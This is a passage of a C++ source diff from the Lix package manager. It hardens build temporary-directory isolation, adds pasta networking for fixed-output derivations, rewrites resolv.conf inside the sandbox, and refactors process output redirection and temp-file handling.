#if HAVE_TOML11_4
normalizeDatetimeFormat(t);
#endif
auto attrs = state.ctx.buildBindings(2);
attrs.alloc("_type").mkString("timestamp");
std::ostringstream s;
s << t;
attrs.alloc("value").mkString(s.str());
v.mkAttrs(attrs);
} else {
// NOLINTNEXTLINE(lix-foreign-exceptions)
throw std::runtime_error("Dates and times are not supported");
}
} break;
case toml::value_t::empty:
v.mkNull();
break;
}
};
try {
visit(val, toml::parse(tomlStream, "fromTOML" /* the "filename" */));
visit(
val,
toml::parse(
tomlStream,
"fromTOML" /* the "filename" */
#if HAVE_TOML11_4
,
toml::spec::v(
1, 0, 0
) // Be explicit that we are parsing TOML 1.0.0 without extensions
#endif
)
);
} catch (std::exception & e) { // NOLINT(lix-foreign-exceptions) // TODO: toml::syntax_error
state.ctx.errors.make<EvalError>("while parsing TOML: %s", e.what()).debugThrow();
}
+4 -3
View File
@@ -22,6 +22,7 @@
#include <string.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <unistd.h>
using namespace std::string_literals;
@@ -168,7 +169,7 @@ WorkdirInfo getWorkdirInfo(const Input & input, const Path & workdir)
.program = "git",
.args = { "-C", workdir, "--git-dir", gitDir, "rev-parse", "--verify", "--no-revs", "HEAD^{commit}" },
.environment = env,
.mergeStderrToStdout = true
.redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
});
auto exitCode = WEXITSTATUS(result.first);
auto errorMessage = result.second;
@@ -701,7 +702,7 @@ struct GitInputScheme : InputScheme
auto result = runProgram(RunOptions {
.program = "git",
.args = { "-C", repoDir, "--git-dir", gitDir, "cat-file", "commit", input.getRev()->gitRev() },
.mergeStderrToStdout = true
.redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
});
if (WEXITSTATUS(result.first) == 128
&& result.second.find("bad file") != std::string::npos)
@@ -766,7 +767,7 @@ struct GitInputScheme : InputScheme
.args = { "-C", repoDir, "--git-dir", gitDir, "archive", input.getRev()->gitRev() },
.captureStdout = true,
});
Finally const _wait([&] { proc.wait(); });
Finally const _wait([&] { proc.waitAndCheck(); });
unpackTarfile(*proc.getStdout(), tmpDir);
}
+1
View File
@@ -190,6 +190,7 @@ try {
auto * buildIdDir = std::get_if<nar_index::Directory>(&narIndex);
for (auto subdir : { "lib", "debug", ".build-id" }) {
if (!buildIdDir) break;
// get returns nullptr subdir does not exist, and std::get_if propagates it.
buildIdDir = std::get_if<nar_index::Directory>(get(buildIdDir->contents, subdir));
}
+3 -7
View File
@@ -885,11 +885,7 @@ void replaceValidPath(const Path & storePath, const Path & tmpPath)
we're repairing (say) Glibc, we end up with a broken system. */
Path oldPath;
if (pathExists(storePath)) {
do {
oldPath = makeTempPath(storePath, ".old");
// store paths are often directories so we can't just unlink() it
// let's make sure the path doesn't exist before we try to use it
} while (pathExists(oldPath));
oldPath = makeTempSiblingPath(storePath);
movePath(storePath, oldPath);
}
@@ -1011,11 +1007,11 @@ void runPostBuildHook(
.program = settings.postBuildHook,
.environment = hookEnvironment,
.captureStdout = true,
.mergeStderrToStdout = true,
.redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}},
});
Finally const _wait([&] {
try {
proc.wait();
proc.waitAndCheck();
} catch (nix::Error & e) {
e.addTrace(nullptr,
"while running the post-build-hook %s for derivation %s",
+202 -26
View File
@@ -13,6 +13,8 @@
#include "lix/libutil/archive.hh"
#include "lix/libstore/daemon.hh"
#include "lix/libutil/regex.hh"
#include "lix/libutil/file-descriptor.hh"
#include "lix/libutil/file-system.hh"
#include "lix/libutil/result.hh"
#include "lix/libutil/topo-sort.hh"
#include "lix/libutil/json.hh"
@@ -25,13 +27,16 @@
#include "lix/libutil/mount.hh"
#include "lix/libutil/strings.hh"
#include "lix/libutil/thread-name.hh"
#include "platform/linux.hh"
#include <cstddef>
#include <dirent.h>
#include <exception>
#include <regex>
#include <queue>
#include <stdexcept>
#include <sys/stat.h>
#include <sys/un.h>
#include <fcntl.h>
#include <termios.h>
@@ -110,7 +115,11 @@ LocalDerivationGoal::~LocalDerivationGoal() noexcept(false)
/* Careful: we should never ever throw an exception from a
destructor. */
try { killChild(); } catch (...) { ignoreExceptionInDestructor(); }
try { deleteTmpDir(false, true); } catch (...) { ignoreExceptionInDestructor(); }
try {
finalizeTmpDir(false, true);
} catch (...) {
ignoreExceptionInDestructor();
}
}
@@ -360,13 +369,14 @@ bool LocalDerivationGoal::cleanupDecideWhetherDiskFull()
if (statvfs(localStore.config().realStoreDir.get().c_str(), &st) == 0 &&
(uint64_t) st.f_bavail * st.f_bsize < required)
diskFull = true;
if (statvfs(tmpDir.c_str(), &st) == 0 &&
(uint64_t) st.f_bavail * st.f_bsize < required)
if (statvfs(tmpDirRoot.c_str(), &st) == 0 && (uint64_t) st.f_bavail * st.f_bsize < required)
{
diskFull = true;
}
}
#endif
deleteTmpDir(false);
finalizeTmpDir(false);
/* Move paths out of the chroot for easier debugging of
build failures. */
@@ -385,7 +395,7 @@ bool LocalDerivationGoal::cleanupDecideWhetherDiskFull()
void LocalDerivationGoal::cleanupPostOutputsRegisteredModeCheck()
{
deleteTmpDir(true);
finalizeTmpDir(true);
}
@@ -480,17 +490,77 @@ try {
});
}
/* Create a temporary directory where the build will take
place. */
tmpDir = createTempDir(
settings.buildDir.get().value_or(""),
"nix-build-" + std::string(drvPath.name()),
false,
false,
0700
);
try {
auto buildDir = worker.buildDirOverride.value_or(settings.buildDir.get());
chownToBuilder(tmpDir);
createDirs(buildDir);
/* Create a temporary directory where the build will take
place. */
tmpDirRoot = createTempSubdir(buildDir, std::nullopt, 0700);
} catch (SysError & e) {
/*
* Fallback to the global tmpdir and create a safe space there
* only if it's a permission error.
*/
if (e.errNo != EACCES) {
throw;
}
auto nixBuildsTmp = createTempDir(fmt("nix-builds-%s", geteuid()), 0700);
warn(
"Failed to use the system-wide build directory '%s', falling back to a temporary "
"directory inside '%s'",
settings.buildDir.get(),
nixBuildsTmp
);
tmpDirRoot = createTempSubdir(nixBuildsTmp, std::nullopt, 0700);
worker.buildDirOverride = nixBuildsTmp;
}
/* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
* POSIX semantics.*/
tmpDirRootFd = AutoCloseFD{open(tmpDirRoot.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
if (!tmpDirRootFd) {
throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDirRoot);
}
#if __APPLE__
// The Darwin sandbox ensures that builds cannot change the
// permissions of their own build directory. Unsandboxed builds
// disable this, but have no isolation by design anyway. The
// minimal sandbox (applied even when `sandbox = false`, though not
// when `_NIX_TEST_NO_SANDBOX` is set) prevents the creation of
// `set{u,g}id` files regardless.
tmpDir = tmpDirRoot;
tmpDirFd = std::move(tmpDirRootFd);
#else
// place the actual build directory in a subdirectory of tmpDirRoot. if
// we do not do this a build can `chown 777` its build directory and so
// make it accessible to everyone in the system, breaking isolation. we
// also need the intermediate level to be inaccessible to others. build
// processes must be able to at least traverse to the directory though,
// without being able to chmod. this means either mode 0750 or 0710. we
// use 0710 just to be extra safe; if we ever add more directories they
// will not be enumerable to other processes in the builder user group.
tmpDir = tmpDirRoot + "/b";
if (mkdirat(tmpDirRootFd.get(), "b", 0700)) {
throw SysError("failed to create the build temporary directory '%1%'", tmpDir);
}
tmpDirFd = AutoCloseFD{openat(tmpDirRootFd.get(), "b", O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
if (!tmpDirFd)
throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);
if (buildUser) {
if (fchown(tmpDirRootFd.get(), -1, buildUser->getGID()) == -1) {
throw SysError("cannot change ownership of '%1%'", tmpDirRoot);
}
if (fchmod(tmpDirRootFd.get(), 0710) == -1) {
throw SysError("cannot change mode of '%1%'", tmpDirRoot);
}
}
#endif
chownToBuilder(tmpDirFd);
for (auto & [outputName, status] : initialOutputs) {
/* Set scratch path we'll actually use during the build.
@@ -858,8 +928,13 @@ void LocalDerivationGoal::initTmpDir() {
auto hash = hashString(HashType::SHA256, i.first);
std::string fn = ".attr-" + hash.to_string(Base::Base32, false);
Path p = tmpDir + "/" + fn;
writeFile(p, rewriteStrings(i.second, inputRewrites));
chownToBuilder(p);
/* TODO(jade): we should have BorrowedFD instead of OwnedFD. */
AutoCloseFD passAsFileFd{openat(tmpDirFd.get(), fn.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
if (!passAsFileFd) {
throw SysError("opening `passAsFile` file in the sandbox '%1%'", p);
}
writeFile(passAsFileFd, rewriteStrings(i.second, inputRewrites));
chownToBuilder(passAsFileFd);
env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
}
}
@@ -975,6 +1050,13 @@ void LocalDerivationGoal::chownToBuilder(const Path & path)
throw SysError("cannot change ownership of '%1%'", path);
}
void LocalDerivationGoal::chownToBuilder(const AutoCloseFD & fd)
{
if (!buildUser) return;
if (fchown(fd.get(), buildUser->getUID(), buildUser->getGID()) == -1)
throw SysError("cannot change ownership of file '%1%'", fd.guessOrInventPath());
}
void LocalDerivationGoal::runChild()
{
@@ -1105,7 +1187,7 @@ void LocalDerivationGoal::runChild()
/* N.B. it is realistic that these paths might not exist. It
happens when testing Nix building fixed-output derivations
within a pure derivation. */
for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" })
for (auto & path : { "/etc/services", "/etc/hosts" })
if (pathExists(path)) {
// Copy the actual file, not the symlink, because we don't know where
// the symlink is pointing, and we don't want to chase down the entire
@@ -1126,6 +1208,11 @@ void LocalDerivationGoal::runChild()
copyFile(path, chrootRootDir + path, { .followSymlinks = true });
}
if (pathExists("/etc/resolv.conf")) {
const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf"));
writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf);
}
if (settings.caFile != "" && pathExists(settings.caFile)) {
// For the same reasons as above, copy the CA certificates file too.
// It should be even less likely to change during the build than resolv.conf.
@@ -1253,6 +1340,36 @@ void LocalDerivationGoal::runChild()
if (setuid(sandboxUid()) == -1)
throw SysError("setuid failed");
if (runPasta) {
// wait for the pasta interface to appear. pasta can't signal us when
// it's done setting up the namespace, so we have to wait for a while
AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
if (!fd) throw SysError("cannot open IP socket");
struct ifreq ifr;
strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME);
// wait two minutes for the interface to appear. if it does not do so
// we are either grossly overloaded, or pasta startup failed somehow.
static constexpr int SINGLE_WAIT_US = 1000;
static constexpr int TOTAL_WAIT_US = 120'000'000;
for (unsigned tries = 0; ; tries++) {
if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) {
throw Error(
"sandbox network setup timed out, please check daemon logs for "
"possible error output."
);
} else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) {
if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) {
break;
}
} else if (errno == ENODEV) {
usleep(SINGLE_WAIT_US);
} else {
throw SysError("cannot get loopback interface flags");
}
}
}
setUser = false;
}
#endif
@@ -1424,6 +1541,8 @@ void LocalDerivationGoal::runChild()
if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") {
Strings sandboxArgs;
sandboxArgs.push_back("_NIX_BUILD_TOP");
sandboxArgs.push_back(tmpDir);
sandboxArgs.push_back("_GLOBAL_TMP_DIR");
sandboxArgs.push_back(globalTmpDir);
if (allowLocalNetworking) {
@@ -2297,21 +2416,78 @@ try {
co_return result::current_exception();
}
void LocalDerivationGoal::deleteTmpDir(bool force, bool duringDestruction)
// make `entry` in `parentFd` visible to the given user and group, preserving
// inode modes as much as possible. if the builder sets the mode of any inode
// to not be readable by the owner we keep this; not doing so could interfere
// with error analysis. if the builder used multiple uids or gids we will not
// keep them around and instead collapse them all onto the uid/gid given here
// to not leave around inodes owned by unassigned uids/gids in the system. we
// also clear setuid/setgid/sticky bits just to be safe even though a builder
// should not be able to set them to begin, otherwise we may leave setuid/gid
// executables in the tree even with user/group set to -1/-1. there have been
// enough bugs of this kind in the past to warrant some extra attention here.
static void makeVisible(int parentFd, const char * entry, uid_t user, gid_t group)
{
if (tmpDir != "") {
struct stat st;
if (fstatat(parentFd, entry, &st, AT_SYMLINK_NOFOLLOW)) {
throw SysError("fstat(%s)", guessOrInventPathFromFD(parentFd));
}
if (S_ISDIR(st.st_mode)) {
int dirfd = openat(parentFd, entry, O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
if (dirfd < 0) {
throw SysError("openat(%s/%s)", guessOrInventPathFromFD(parentFd), entry);
}
AutoCloseDir dir(fdopendir(dirfd));
if (!dir) {
close(dirfd);
throw SysError("fdopendir(%s/%s)", guessOrInventPathFromFD(parentFd), entry);
}
struct dirent * dirent;
while (errno = 0, dirent = readdir(dir.get())) {
if (strcmp(dirent->d_name, ".") == 0 || strcmp(dirent->d_name, "..") == 0) {
continue;
}
makeVisible(dirfd, dirent->d_name, user, group);
}
}
// ignore permissions errors for symlinks. linux can't chmod them.
// clear special permission bits while we're here, just to be safe
if (fchmodat(parentFd, entry, st.st_mode & 0777, AT_SYMLINK_NOFOLLOW) && !S_ISLNK(st.st_mode)) {
throw SysError("fchmod(%s)", guessOrInventPathFromFD(parentFd));
}
if (user != uid_t(-1) && group != gid_t(-1)
&& fchownat(parentFd, entry, user, group, AT_SYMLINK_NOFOLLOW))
{
throw SysError("fchown(%s)", guessOrInventPathFromFD(parentFd));
}
}
void LocalDerivationGoal::finalizeTmpDir(bool force, bool duringDestruction)
{
if (tmpDirRoot != "") {
/* Don't keep temporary directories for builtins because they
might have privileged stuff (like a copy of netrc). */
if (settings.keepFailed && !force && !drv->isBuiltin()) {
printError("note: keeping build directory '%s'", tmpDir);
chmod(tmpDir.c_str(), 0755);
printError("note: keeping build directory '%s'", tmpDirRoot);
try {
// always make visible, but don't always chown. if we run as
// root we may not want to chown things to root:root so much
auto creds = worker.store.associatedCredentials();
makeVisible(
tmpDirFd.get(), ".", creds ? creds->user : -1, creds ? creds->group : -1
);
} catch (SysError & e) {
printError("error making '%s' accessible: %s", tmpDir, e.what());
}
chmod(tmpDirRoot.c_str(), 0755);
}
else if (duringDestruction)
deletePathUninterruptible(tmpDir);
deletePathUninterruptible(tmpDirRoot);
else
deletePath(tmpDir);
tmpDir = "";
deletePath(tmpDirRoot);
tmpDirRoot = "";
}
}
+35 -4
View File
@@ -29,7 +29,12 @@ struct LocalDerivationGoal : public DerivationGoal
/**
* The temporary directory.
*/
Path tmpDir;
Path tmpDirRoot, tmpDir;
/**
* The temporary directory file descriptor
*/
AutoCloseFD tmpDirRootFd, tmpDirFd;
/**
* The path of the temporary directory in the sandbox.
@@ -191,10 +196,18 @@ struct LocalDerivationGoal : public DerivationGoal
kj::Promise<Result<void>> writeStructuredAttrs();
/**
* Make a file owned by the builder.
* Make a file owned by the builder addressed by its path.
*
* SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor.
* It's only safe to call in a child of a directory only visible to the owner.
*/
void chownToBuilder(const Path & path);
/**
* Make a file owned by the builder addressed by its file descriptor.
*/
void chownToBuilder(const AutoCloseFD & fd);
int getChildStatus() override;
/**
@@ -233,9 +246,12 @@ struct LocalDerivationGoal : public DerivationGoal
void cleanupPostOutputsRegisteredModeNonCheck() override;
/**
* Delete the temporary directory, if we have one.
* Delete the temporary directory or make it visible to the user requesting
* this build, if a temporary directory was created at all. Temporary files
* of derivations using builtin builders are deleted even for `keep-failed`
* builds as otherwise we may expose secrets (e.g. from the system .netrc).
*/
void deleteTmpDir(bool force, bool duringDestruction = false);
void finalizeTmpDir(bool force, bool duringDestruction = false);
/**
* Forcibly kill the child process, if any.
@@ -269,6 +285,12 @@ struct LocalDerivationGoal : public DerivationGoal
protected:
using DerivationGoal::DerivationGoal;
/**
* Whether to run pasta for network-endowed derivations. Running pasta
* currently requires actively waiting for its net-ns setup to finish.
*/
bool runPasta = false;
/**
* Setup dependencies outside the sandbox.
* Called in the parent nix process.
@@ -278,6 +300,15 @@ protected:
throw Error("sandboxing builds is not supported on this platform");
};
/**
* Rewrite resolv.conf for use in the sandbox. Used in the linux platform
* to replace nameservers * when using pasta for fixed output derivations.
*/
virtual std::string rewriteResolvConf(std::string fromHost)
{
return fromHost;
}
/**
* Create a new process that runs `openSlave` and `runChild`
* On some platforms this process is created with sandboxing flags.
+18 -2
View File
@@ -26,12 +26,28 @@ R""(
; Allow getpwuid.
(allow mach-lookup (global-name "com.apple.system.opendirectoryd.libinfo"))
; Access to /tmp.
; Disallow messing with the toplevel build directory.
(deny file-write-owner file-write-flags file-write-xattr file-write-mount
file-write-unmount
(literal (param "_NIX_BUILD_TOP")))
; Nixpkgs does `chmod -R` on `$NIX_BUILD_TOP/$sourceRoot` by default,
; which results in it trying to set the mode of `$NIX_BUILD_TOP` when
; derivations set `sourceRoot = ".";`. Thankfully, the GNU `chmod(1)`
; treats `ENOTSUP` as a nonfatal, nonreported error in this case, and
; continues to descend into the directory tree.
;
; See: <https://gitweb.git.savannah.gnu.org/gitweb/?p=coreutils.git;a=blob;f=src/chmod.c;hb=refs/tags/v9.7#l312>
(deny file-write-mode (with errno ENOTSUP)
(literal (param "_NIX_BUILD_TOP")))
; Access to /tmp and the build directory.
; The network-outbound/network-inbound ones are for unix domain sockets, which
; we allow access to in TMPDIR (but if we allow them more broadly, you could in
; theory escape the sandbox)
(allow file* process-exec network-outbound network-inbound
(literal "/tmp") (subpath TMPDIR))
(literal "/tmp")
(subpath TMPDIR)
(subpath (param "_NIX_BUILD_TOP")))
; Some packages like to read the system version.
(allow file-read*
+1
View File
@@ -195,6 +195,7 @@ public:
Store & store;
Store & evalStore;
AsyncSemaphore substitutions, localBuilds;
std::optional<Path> buildDirOverride;
private:
kj::TaskSet children;
+9 -2
View File
@@ -45,8 +45,15 @@ std::string SecretKey::signDetached(std::string_view data) const
{
unsigned char sig[crypto_sign_BYTES];
unsigned long long sigLen;
crypto_sign_detached(sig, &sigLen, charptr_cast<const unsigned char *>(data.data()), data.size(),
charptr_cast<const unsigned char *>(key.data()));
crypto_sign_detached(
sig,
&sigLen,
// the following is not a string function so no null termination issues are possible here.
// NOLINTNEXTLINE(bugprone-suspicious-stringview-data-usage)
charptr_cast<const unsigned char *>(data.data()),
data.size(),
charptr_cast<const unsigned char *>(key.data())
);
return name + ":" + base64Encode(std::string(reinterpret_cast<char *>(sig), sigLen));
}
+2 -2
View File
@@ -96,7 +96,7 @@ void LocalStore::createTempRootsFile()
/* Create the temporary roots file for this process. */
while (true) {
auto tmp = makeTempPath(fnTempRoots, ".tmp");
auto tmp = makeTempPath(fnTempRoots);
AutoCloseFD fd{open(tmp.c_str(), O_RDWR | O_CREAT | O_EXCL | O_CLOEXEC, 0600)};
if (!fd && errno != EEXIST) {
throw SysError("opening lock file '%1%'", tmp);
@@ -966,9 +966,9 @@ try {
{
auto state(_gcState.lock());
state->gcWaiters.push_back(std::move(pfp.fulfiller));
if (state->gcRunning) {
state->gcWaiters.push_back(std::move(pfp.fulfiller));
debug("waiting for auto-GC to finish");
goto sync;
}
+8 -1
View File
@@ -87,6 +87,9 @@ Settings::Settings()
#if defined(__linux__) && defined(SANDBOX_SHELL)
sandboxPaths.setDefault(tokenizeString<StringSet>("/bin/sh=" SANDBOX_SHELL));
#endif
#if defined(__linux__) && defined(PASTA_PATH)
pastaPath.setDefault(PASTA_PATH);
#endif
/* chroot-like behavior from Apple's sandbox */
#if __APPLE__
@@ -243,7 +246,11 @@ StringSet Settings::getDefaultExtraPlatforms()
// x86_64 in aarch64 environments or vice versa since they can
// always exec with their own binary preferences.
if (std::string{SYSTEM} == "aarch64-darwin" &&
runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}).first == 0)
runProgram(RunOptions {
.program = "arch",
.args = {"-arch", "x86_64", "/usr/bin/true"},
.redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}
}).first == 0)
extraPlatforms.insert("x86_64-darwin");
#endif
+2 -3
View File
@@ -63,11 +63,10 @@ protected:
const std::string & mimeType) override
{
auto path2 = binaryCacheDir + "/" + path;
static std::atomic<int> counter{0};
Path tmp = fmt("%s.tmp.%d.%d", path2, getpid(), ++counter);
Path tmp = makeTempPath(path2);
AutoDelete del(tmp, false);
StreamToSourceAdapter source(istream);
writeFile(tmp, source);
writeFileExcl(tmp, source);
renameFile(tmp, path2);
del.cancel();
}
+6 -6
View File
@@ -173,7 +173,7 @@ static void migrateCASchema(SQLite& db, Path schemaPath, AutoCloseFD& lockFd, Ne
txn.commit();
}
writeFile(schemaPath, fmt("%d", nixCASchemaVersion), 0666, true);
writeFileAndSync(schemaPath, fmt("%d", nixCASchemaVersion), 0666);
lockFile(lockFd.get(), ltRead);
}
}
@@ -315,7 +315,7 @@ void LocalStore::initDB(DBState & state)
else if (curSchema == 0) { /* new store */
curSchema = nixSchemaVersion;
openDB(state, true);
writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666);
}
else if (curSchema < nixSchemaVersion) {
@@ -368,7 +368,7 @@ void LocalStore::initDB(DBState & state)
txn.commit();
}
writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true);
writeFileAndSync(schemaPath, fmt("%1%", nixSchemaVersion), 0666);
lockFile(globalLock.get(), ltRead, always_progresses);
}
@@ -1629,7 +1629,7 @@ std::pair<Path, AutoCloseFD> LocalStore::createTempDirInStore()
/* There is a slight possibility that `tmpDir' gets deleted by
the GC between createTempDir() and when we acquire a lock on it.
We'll repeat until 'tmpDir' exists and we've locked it. */
tmpDirFn = createTempDir(config_.realStoreDir, "tmp");
tmpDirFn = createTempSubdir(config_.realStoreDir, "tmp");
tmpDirFd = AutoCloseFD{open(tmpDirFn.c_str(), O_RDONLY | O_DIRECTORY)};
if (tmpDirFd.get() < 0) {
continue;
@@ -2043,9 +2043,9 @@ try {
createDirs(dirOf(logPath));
auto tmpFile = fmt("%s.tmp.%d", logPath, getpid());
auto tmpFile = makeTempSiblingPath(logPath);
writeFile(tmpFile, compress("bzip2", log));
writeFileExcl(tmpFile, compress("bzip2", log));
renameFile(tmpFile, logPath);
co_return result::success();
+12
View File
@@ -135,6 +135,8 @@ private:
Sync<GCState> _gcState;
std::optional<AssociatedCredentials> association;
public:
const Path dbDir;
@@ -148,6 +150,16 @@ public:
LocalStoreConfig & config() override { return config_; }
const LocalStoreConfig & config() const override { return config_; }
std::optional<AssociatedCredentials> associatedCredentials() const override
{
return association;
}
void associateWithCredentials(uid_t user, gid_t group)
{
association = {user, group};
}
private:
const PublicKeys & getPublicKeys();
+7
View File
@@ -82,6 +82,7 @@ libstore_setting_definitions = files(
'settings/narinfo-cache-negative-ttl.md',
'settings/narinfo-cache-positive-ttl.md',
'settings/netrc-file.md',
'settings/pasta-path.md',
'settings/plugin-files.md',
'settings/post-build-hook.md',
'settings/pre-build-hook.md',
@@ -332,6 +333,12 @@ elif busybox.found()
}
endif
if pasta.found()
cpp_str_defines += {
'PASTA_PATH': pasta.full_path(),
}
endif
cpp_args = []
foreach name, value : cpp_str_defines
+1 -2
View File
@@ -217,8 +217,7 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats,
its timestamp back to 0. */
MakeReadOnly makeReadOnly(mustToggle ? dirOfPath : "");
Path tempLink = makeTempPath(config().realStoreDir, "/.tmp-link");
unlink(tempLink.c_str()); // just in case; ignore errors
Path tempLink = makeTempPath(config().realStoreDir + "/");
if (link(linkPath.c_str(), tempLink.c_str()) == -1) {
if (errno == EMLINK) {
+129 -4
View File
@@ -1,16 +1,25 @@
#include "lix/libstore/build/worker.hh"
#include "lix/libutil/cgroup.hh"
#include "lix/libutil/file-descriptor.hh"
#include "lix/libutil/file-system.hh"
#include "lix/libutil/finally.hh"
#include "lix/libstore/gc-store.hh"
#include "lix/libutil/processes.hh"
#include "lix/libutil/signals.hh"
#include "lix/libstore/platform/linux.hh"
#include "lix/libutil/regex.hh"
#include "lix/libutil/strings.hh"
#include <csignal>
#include <cstdlib>
#include <grp.h>
#include <regex>
#include <sys/prctl.h>
#if __linux__
#include <linux/capability.h>
#endif
#if HAVE_SECCOMP
#include <linux/filter.h>
#include <sys/syscall.h>
@@ -61,6 +70,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots)
}
}
LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal()
{
// pasta being left around mostly happens when builds are aborted
if (pastaPid) {
pastaPid.kill();
}
}
void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked)
{
auto procDir = AutoCloseDir{opendir("/proc")};
@@ -836,6 +853,26 @@ void LinuxLocalDerivationGoal::prepareSandbox()
}
}
std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost)
{
if (!runPasta) {
return fromHost;
}
static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline;
static auto lineRegex = regex::parse("^nameserver\\s.*$", flags);
static auto v4Regex = regex::parse("^nameserver\\s+\\d{1,3}\\.", flags);
static auto v6Regex = regex::parse("^nameserver.*:", flags);
std::string nsInSandbox = "\n";
if (std::regex_search(fromHost, v4Regex)) {
nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4);
}
if (std::regex_search(fromHost, v6Regex)) {
nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6);
}
return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox;
}
Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
{
#if HAVE_SECCOMP
@@ -863,9 +900,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
- The private network namespace ensures that the builder
cannot talk to the outside world (or vice versa). It
only has a private loopback interface. (Fixed-output
derivations are not run in a private network namespace
to allow functions like fetchurl to work.)
only has a private loopback interface. If a copy of
`pasta` is available, Fixed-output derivations are run
inside a private network namespace with internet
access, otherwise they are run in the host's network
namespace, to allow functions like fetchurl to work.
- The IPC namespace prevents the builder from communicating
with outside processes using SysV IPC mechanisms (shared
@@ -886,6 +925,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
if (derivationType->isSandboxed())
privateNetwork = true;
// don't launch pasta unless we have a tun device. in a build sandbox we
// commonly do not, and trying to run pasta anyway naturally won't work.
runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun");
userNamespaceSync.create();
Pipe sendPid;
@@ -910,7 +953,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
ProcessOptions options;
options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD;
if (privateNetwork)
// we always want to create a new network namespace for pasta, even when
// we can't actually run it. not doing so hides bugs and impairs purity.
if (settings.pastaPath != "" || privateNetwork)
options.cloneFlags |= CLONE_NEWNET;
if (usingUserNamespace)
options.cloneFlags |= CLONE_NEWUSER;
@@ -980,6 +1025,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
/* Signal the builder that we've updated its user namespace. */
writeFull(userNamespaceSync.writeSide.get(), "1");
if (runPasta) {
// Bring up pasta, for handling FOD networking. We don't let it daemonize
// itself for process managements reasons and kill it manually when done.
// TODO add a new sandbox mode flag to disable all or parts of this?
Strings args = {
// clang-format off
"--quiet",
"--foreground",
"--config-net",
"--gateway", PASTA_HOST_IPV4,
"--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK,
"--dns-forward", PASTA_HOST_IPV4,
"--gateway", PASTA_HOST_IPV6,
"--address", PASTA_CHILD_IPV6,
"--dns-forward", PASTA_HOST_IPV6,
"--ns-ifname", PASTA_NS_IFNAME,
"--no-netns-quit",
"--netns", "/proc/self/fd/0",
// clang-format on
};
AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
if (!netns) {
throw SysError("failed to open netns");
}
AutoCloseFD userns;
if (usingUserNamespace) {
userns =
AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
if (!userns) {
throw SysError("failed to open userns");
}
args.push_back("--userns");
args.push_back("/proc/self/fd/1");
}
// FIXME ideally we want a notification when pasta exits, but we cannot do
// this at present. without such support we need to busy-wait for pasta to
// set up the namespace completely and time out after a while for the case
// of pasta launch failures. pasta logs go to syslog only for now as well.
pastaPid = runProgram2({
.program = settings.pastaPath,
.args = args,
.uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt,
.gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt,
// TODO these redirections are crimes. pasta closes all non-stdio file
// descriptors very early and lacks fd arguments for the namespaces we
// want it to join. we cannot have pasta join the namespaces via pids;
// doing so requires capabilities which pasta *also* drops very early.
.redirections = {
{.from = 0, .to = netns.get()},
{.from = 1, .to = userns ? userns.get() : 1},
},
.caps = getuid() == 0
? std::set<long>{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE}
: std::set<long>{},
});
}
return pid;
}
@@ -997,5 +1103,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats)
This avoids processes unrelated to the build being killed, thus avoiding: https://git.lix.systems/lix-project/lix/issues/667 */
LocalDerivationGoal::killSandbox(getStats);
}
if (pastaPid) {
// FIXME we really want to send SIGTERM instead and wait for pasta to exit,
// but we do not have the infra for that right now. we send SIGKILL instead
// and treat exiting with that as a successful exit code until such a time.
// this is not likely to cause problems since pasta runs as the build user,
// but not inside the build sandbox. if it's killed it's either due to some
